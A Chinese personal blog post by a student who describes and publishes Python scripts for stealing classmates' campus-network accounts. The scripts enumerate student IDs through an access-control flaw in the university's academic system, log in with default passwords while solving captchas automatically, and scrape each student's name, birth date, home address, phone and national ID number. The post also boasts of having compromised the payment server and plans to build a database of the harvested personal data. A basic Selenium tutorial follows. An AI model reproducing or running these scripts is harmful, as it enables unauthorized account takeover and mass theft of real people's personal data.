网络账号获取与Selenium初探


不管全世界所有人怎么说,我都认为自己的感受才是正确的。无论别人怎么看,我绝不打乱自己的节奏。
—–村上春树《挪威的森林》


场景

以前在实验室用网都是用wifi,自从换了个教室,wifi奇慢…

如果要上校园网可以选择月供(40),学期供(200),自己手测了五六个同学的(学号 + 身份证后六位)…..也就将就着用了几个月。

现在大三下了,手头倒是有一份大三学生的信息表,但是大三的同学的网基本都停了,还是得靠大一大二的学妹来支持学长啊,所以准备写脚本囤一波帐号艰难度过这最后两三个月。

问:你是学安全的为什么不撸站?
答:冲网费的服务器已经拿下了,但是站库分离。目标IP以及帐号密码是有,但是连不上,应该是做了些许防护。

问:想办法啊!内网渗透、通过其他通信协议来传送流量,再不行,分析cookie组合方式,直接构造cookie批量登录抓取帐号密码啊(充值站某个页面返回json数据,利用console安装cookie后,可直接抓取)….
答:我就想写脚本练一练学习学习不行啊!

有些事情以及其目的还是不要说太多的好…

分析与编写

简单分析了一下校园网充值站点:
1、密码错误3次以上会输入验证码
2、每次刷新页面源代码中会生成一个随机四位数字,并且在post的时候会带上。

先前写了几个demo绕第二个个步骤:
1、利用cookielib请求第一次获取数字,请求第二次进行post发包,失败,会话不能维持。
2、请求第一次网站会有一个cookie,新开一个页面将原始cookie装上再次请求,不一样。
3、参数污染?没测…

具体编写流程分析

1、教务系统存在一个小越权,某个url中直接输入学号会出现照片,由此判断学号是否存在,存储一波可用学号。
2、写脚本进行教务系统的登录(带验证码,没有接口可以爆破)。

这里又有个小问题,chrome,firefox等浏览器打开后会提示不能创建对象,页面显示不完全。IE安装了校方提供的文件后可以展示完全。所以不能直接在主页面进行信息爬取。在IE中分析个人信息页面的url(每个人的还特么都不一样)爬取登录之后,抓取个人信息的url,进行个人信息的爬取。

3、有了学号以及身份证号之后,进入充值站进行抓取得到最终信息(根据网费信息是正常还是停机来抓取可用帐号)

脚本编写

获取可用学号

第一代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-
import requests

file = open('account.txt','a+')
for i in xrange(160000000000,169999999999):
url_info = 'http://教务系统/upload/XXX/{}.jpg'.format(i)
info = requests.get(url_info)
if info.status_code == 404:
continue
elif info.status_code ==200:
print i
account_info = str(i) + '\n'
file.write(account_info)
else:
continue

第二代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding:utf-8 -*-
from multiprocessing import Pool
import requests

file = open('account.txt','a+')
channel_list = list(xrange(160000000000,169009999999))
def spider(channel):
url_info = 'http://教务系统/upload/XXX/{}.jpg'.format(channel)
info = requests.get(url_info)
if info.status_code == 404:
print 'Error...' + str(channel)
pass
elif info.status_code ==200:
print 'Success!!' + str(channel)
account_info = str(channel) + '\n'
file.write(account_info)
else:
pass
if __name__ == '__main__':
pool = Pool(processes=4)
pool.map(spider,channel_list)

实验室网老断,丢到linux服务器跑吧。
nohup python -u spider_account_second.py > demo.log 2>&1 &

进行教务系统批量登录并获取其个人信息

用来获取信息的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import urllib, urllib2
import cookielib
from bs4 import BeautifulSoup
import os, re


#登录url,验证码url,验证码存储路径
login_url = "http://教务系统/Login.aspx"
captcha_url = "http://教务系统/other/CheckCode.aspx?datetime=az"
captcha_path = 'D:\\Script demo\\python_demo\\School\\optaion_account\\jiaowu_info\\photo\\' #图片存储路径
early_url = 'http://教务系统/JWXS/xsMenu.aspx'

# 通过cookielib来创建opener对象,保存cookie
cookie = cookielib.CookieJar()
handler = urllib2.HTTPCookieProcessor(cookie)
opener = urllib2.build_opener(handler)
opener.addheaders=[('User-agent','Mozilla/5.0')]
urllib2.install_opener(opener)

#用建立好的opener对象访问验证码地址,opener对象保存访问验证码后的cookie以及图片
picture = opener.open(captcha_url).read()
local = open('D:\\Script demo\\python_demo\\School\\optaion_account\\jiaowu_info\\photo\\image.jpg','wb')
local.write(picture)
local.close()

#利用验证码识别工具自动输出验证码
checkcode = os.popen('verifyCaptchaconfig\\VerifyTool.exe verifyCaptchaconfig\\school.ci.png -f photo\\image.jpg').read()

print checkcode
data = {
"post1":"post1_data",
"post2":"post1_data",
"post3":"post3_data",
"Account":"123456789",
"PWD":"123456789",
"CheckCode":checkcode,
"cmdok":""
}
post_data = urllib.urlencode(data)

result = opener.open(login_url,post_data).read()

# 创建获取信息的函数,这里边有两种情况
# 一、是否显示完全 有的浏览器可以显示所有页面,如IE,但是有的浏览器不可以,提示不能创建对象,这里使用源代码中的字符串来判断是否显示完全
# 二、是否登录成功 如果出现“other/CheckCode.aspx” 就说明没有登陆成功

# 是否登录成功,为-1则表示成功,否则则失败
login_success_whether = result.find('other/CheckCode.aspx')
if login_success_whether == -1:
print "Login Success!!"
else:
print "Login Fail....."

# 从登陆成功后的页面中找到个人资料的url
info_url_early = opener.open(early_url).read()
info_url_middle = re.findall('xskp/jwxs_xskp_like\.aspx\?usermain=x\d{10}',info_url_early,re.S)[0]
info_url_after = 'http://教务系统/JWXS/' + info_url_middle
# 请求个人信息页面后抓取相关信息
data_info = opener.open(info_url_after).read()

Soup = BeautifulSoup(data_info,'lxml')
institute = Soup.select('#lbxsh')[0].get_text()
major = Soup.select('#lbzyh')[0].get_text()
Class = Soup.select('#lbbh')[0].get_text()
name = Soup.select('#tbxsxm')[0].get('value')
birth = Soup.select('#tbcsrq')[0].get('value')
location = Soup.select('#tbjtxzdz')[0].get('value')
home_tel = Soup.select('#tblxdh')[0].get('value')
ID = Soup.select('#tbsfzh')[0].get('value')
print institute,major,Class,name,birth,location,home_tel,ID

稍微改善之后
本来想再改一改用多进程或者多线程跑,先算了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import urllib, urllib2
import cookielib
from bs4 import BeautifulSoup
import os, re
import sys
from multiprocessing import Pool

student_info = open('student_info.txt','a')
def Optain_info(account):
#登录url,验证码url,验证码存储路径
login_url = "http://教务系统/Login.aspx"
captcha_url = "http://教务系统/other/CheckCode.aspx?datetime=az"
captcha_path = 'D:\\Script demo\\python_demo\\School\\optaion_account\\jiaowu_info\\photo\\'
early_url = 'http://教务系统/JWXS/xsMenu.aspx'

# account = sys.argv[1]
# 通过cookielib来创建opener对象,保存cookie
cookie = cookielib.CookieJar()
handler = urllib2.HTTPCookieProcessor(cookie)
opener = urllib2.build_opener(handler)
opener.addheaders=[('User-agent','Mozilla/5.0')]
urllib2.install_opener(opener)

#用建立好的opener对象访问验证码地址,opener对象保存访问验证码后的cookie以及图片
#验证码有时候会显示错误,但是概率很小,5次重复足够了。
for i in range(5):
picture = opener.open(captcha_url).read()
local = open('D:\\Script demo\\python_demo\\School\\optaion_account\\jiaowu_info\\photo\\image.jpg','wb')
local.write(picture)
local.close()
#利用验证码识别工具自动输出验证码
checkcode = os.popen('verifyCaptchaconfig\\VerifyTool.exe verifyCaptchaconfig\\school.ci.png -f photo\\image.jpg').read()
if len(checkcode) == 4:
print checkcode
break

data = {
"post1":"post1_data",
"post2":"post1_data",
"post3":"post3_data",
"Account":account,
"PWD":account,
"CheckCode":checkcode,
"cmdok":""
}
post_data = urllib.urlencode(data)

result = opener.open(login_url,post_data).read()

# 创建获取信息的函数
# 这里边有两种情况
# 一、是否显示完全 有的浏览器可以显示所有页面,如IE,但是有的浏览器只能显示部分页面,这里使用“xskp/jwxs_xskp_like.aspx?usermain=”判断是否显示完全
# 二、是否登录成功 如果出现“other/CheckCode.aspx” 就说明没有登陆成功

# 是否登录成功,为-1则表示成功,否则则失败
login_success_whether = result.find('other/CheckCode.aspx')
if login_success_whether == -1:
print "Login success!!" + account
info_url_early = opener.open(early_url).read()
info_url_middle = re.findall('xskp/jwxs_xskp_like\.aspx\?usermain=x\d{10}',info_url_early,re.S)[0]
info_url_after = 'http://教务系统/JWXS/' + info_url_middle
# 获取到个人信息页面
data_info = opener.open(info_url_after).read()

Soup = BeautifulSoup(data_info,'lxml')
institute = Soup.select('#lbxsh')[0].get_text()
major = Soup.select('#lbzyh')[0].get_text()
Class = Soup.select('#lbbh')[0].get_text()
name = Soup.select('#tbxsxm')[0].get('value')
birth = Soup.select('#tbcsrq')[0].get('value')
location = Soup.select('#tbjtxzdz')[0].get('value')
home_tel = Soup.select('#tblxdh')[0].get('value')
ID = Soup.select('#tbsfzh')[0].get('value')
response = u'{} {} {} {} {} {} {} {} {}'.format(account,institute,major,Class,name,birth,location,home_tel,ID)
detail = response.encode('gb18030')
print detail
student_info.write(detail + '\n')
else:
print "Login fail...." + account
pass

a = open('demo.txt','r')
account = a.readlines()

for i in account:
i = i.strip('\n')
Optain_info(i)

# account_info = num.split()
# for i in account_info:
# Optain_info(i)

还应该再完善一下,大一的时候写爬取十万级数据 时候学习了将数据存储在mongodb中,但是自己本机的数据库文件一般存储的都不怎么好,完了搭个社工库的时候再改善改善吧。

这届大二的比大三的好很多嘛,还是有不少人把自己的默认密码改掉的,也还算有点安全意识。

Selenium初探与环境配置

学习selenium python需要的工具
1、浏览器
2、Python
3、Selenium
4、chromedriver、IEDriverServer、geckodriver
5、IDE(Pycharm/Sublime/Eclipse等等)

在Windows下安装对应的驱动(heclpdrober/chromedriver/IEDriverServer)

这里使用的是Firefox,新版本的Firefox浏览器需要安装geckodriver驱动:
Windows 64位:http://download.csdn.net/download/czq_520/9953528
Windows 32位:http://download.csdn.net/download/czq_520/9953533

已经下了一份64位的,丢在网盘:
链接:https://pan.baidu.com/s/1HYL8DtMBhsIVzOWdmFo5fQ 密码:lhjc

使用方法:
1、下载完成解压;
2、将geckodriver放到python文件下
3、将其添加到环境变量(python文件夹已经在环境变量,所以不用管了)

Chrome:
如果需要使用Chrome浏览器或者IE浏览器,则需要对应的驱动,chromedriver,chromedriver没有64位版本,32即可驱动:
下载地址:https://npm.taobao.org/mirrors/chromedriver
使用方法同geckodriver。

环境组合:
Python3 + Selenium3.11 + Firefox59(旧版本不兼容)

相关基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from selenium import webdriver
#创建一个到浏览器的连接
driver = webdriver.Firefox()
driver = webdriver.Chrome()
#在选定的浏览器中加载网页,调用get方法
driver.get(‘http://www.baidu.com’)
#查看源代码
driver.page_source
#设置要选取的元素,支持id,css selector和xpath
driver.find_element_by_id()
driver.find_element_by_css_selector()
driver.find_element_by_xpath()
#常用的查找元素的方法
find_element_by_name
find_element_by_id
find_element_by_xpath
find_element_by_link_text
find_element_by_partial_link_text
find_element_by_tag_name
find_element_by_class_name
find_element_by_css_selector
#较通用的办法
from selenium.webdriver.common.by import By
xxx.find_element(By.ID,"xxxx")
#元素交互操作/模拟按键输入(找到搜索框并输入相关信息)
some_info = driver.find_element_by_id('xxxx').send_keys('MACBook')
#获取元素属性
get_attribute('xxxxx')
#获取文本值
text
#获取ID,位置,标签名
xxx.id
xxx.location
xxx.tag_name
xxx.size
#简单元素操作方式
清除元素内容:clear()
模拟按键输入:send_keys()
点击(比如获取按钮后调用此方法进行点击):click()
提交表单:submit()
#切入frame以及切出来
xxx.switch_to.frame('xxxxxx')
xxx.switch_to.parent_frame()
#执行JS
driver.execute_script(js)
#等待
当查找元素或者元素并没有立即出现的时候,隐式等待将等待一段时间再查找DOM,默认时间为0
隐式等待
到了一定的时间发现元素还没有加载,则继续等待我们指定的时间,如果超过了我们指定的时间还没有加载就会抛出异常,如果没有需要等待的时候就已经加载完毕就会立即执行。
browser = webdriver.Chrome()
browser.implicitly_wait(10)
显示等待
指定一个等待条件,并且指定一个最长等待时间,会在这个时间内进行判断是否满足等待条件,如果成立就会立即返回,如果不成立,就会一直等待,直到等待你指定的最长等待时间,如果还是不满足,就会抛出异常,如果满足了就会正常返回
browser = webdriver.Chrome()
waite = WebDriverWait(browser,10)
input = wait.unit(判断条件(目标))
常用的判断条件:
title_is 标题是某内容
title_contains 标题包含某内容
presence_of_element_located 元素加载出,传入定位元组,如(By.ID, 'p')
visibility_of_element_located 元素可见,传入定位元组
visibility_of 可见,传入元素对象
presence_of_all_elements_located 所有元素加载出
text_to_be_present_in_element 某个元素文本包含某文字
text_to_be_present_in_element_value 某个元素值包含某文字
frame_to_be_available_and_switch_to_it frame加载并切换
invisibility_of_element_located 元素不可见
element_to_be_clickable 元素可点击
staleness_of 判断一个元素是否仍在DOM,可判断页面是否已经刷新
element_to_be_selected 元素可选择,传元素对象
element_located_to_be_selected 元素可选择,传入定位元组
element_selection_state_to_be 传入元素对象以及状态,相等返回True,否则返回False
element_located_selection_state_to_be 传入定位元组以及状态,相等返回True,否则返回False
alert_is_present 是否出现Alert
#浏览器的前进和后退
back()
forward()
#cookie操作
get_cookies()
delete_all_cookies()
add_cookie(字典)
#选项卡管理
通过执行js命令打开新的选项卡 window.open()
不同的选项卡存在列表browser.window_handles
通过 switch_to_window来进行选项卡的切换
browser = webdriver.Chrome()
browser.get('https://www.baidu.com')
browser.execute_script('window.open()')
browser.switch_to_window(browser.window_handles[1])
browser.get('https://www.taobao.com')
time.sleep(1)
browser.switch_to_window(browser.window_handles[0])
browser.get('https://python.org'
#异常处理
较为复杂
from selenium.common.exceptions import TimeoutException,NoSuchElementException
使用except来捕获,看是否超时与查找一个不存在的元素
#关闭浏览器
driver.close()
driver.quit()

爬取分析以及代码编写

校园网充值站登录为学号 + 身份证后六位

教务系统登录为:学号 + 学号

Selenium登录代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding:utf-8 -*-
from selenium import webdriver
import re
import sys
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='gb18030')

index_url = 'http://192.168.168.168/nav_login'
driver = webdriver.Firefox()
driver.get(index_url)
# 直接输入帐号密码登录就行了,抓个鸡的验证码
# source = driver.page_source
# code = re.findall('var checkcode="(.*?)";',source,re.S)[0]

# 输入用户名和密码
account = driver.find_element_by_css_selector('#account').send_keys('xxxxxxxxxx')
password = driver.find_element_by_css_selector('#pass').send_keys('xxxxxx')

# 按钮点击
driver.find_element_by_css_selector('#loginform > div:nth-child(7) > input').click()

(代码很简单)登陆是可以登录,但是如果用来批量进行的话用这个不是个明智的选择。

到这其实也就差不多了,帐号有个四五个就够用了,手测一下就行了…

selenium可以停了,但是脚本还是要继续的嘛~~

https://github.com/Yokeen/Spider_school_acount

后记

这个站自己还得再分析分析,也刚好利用这个站再深入学习学习内网渗透…

就先这样吧。

祝大家学业有成,工作顺利。

最近准备投简历了,也祝我自己顺利。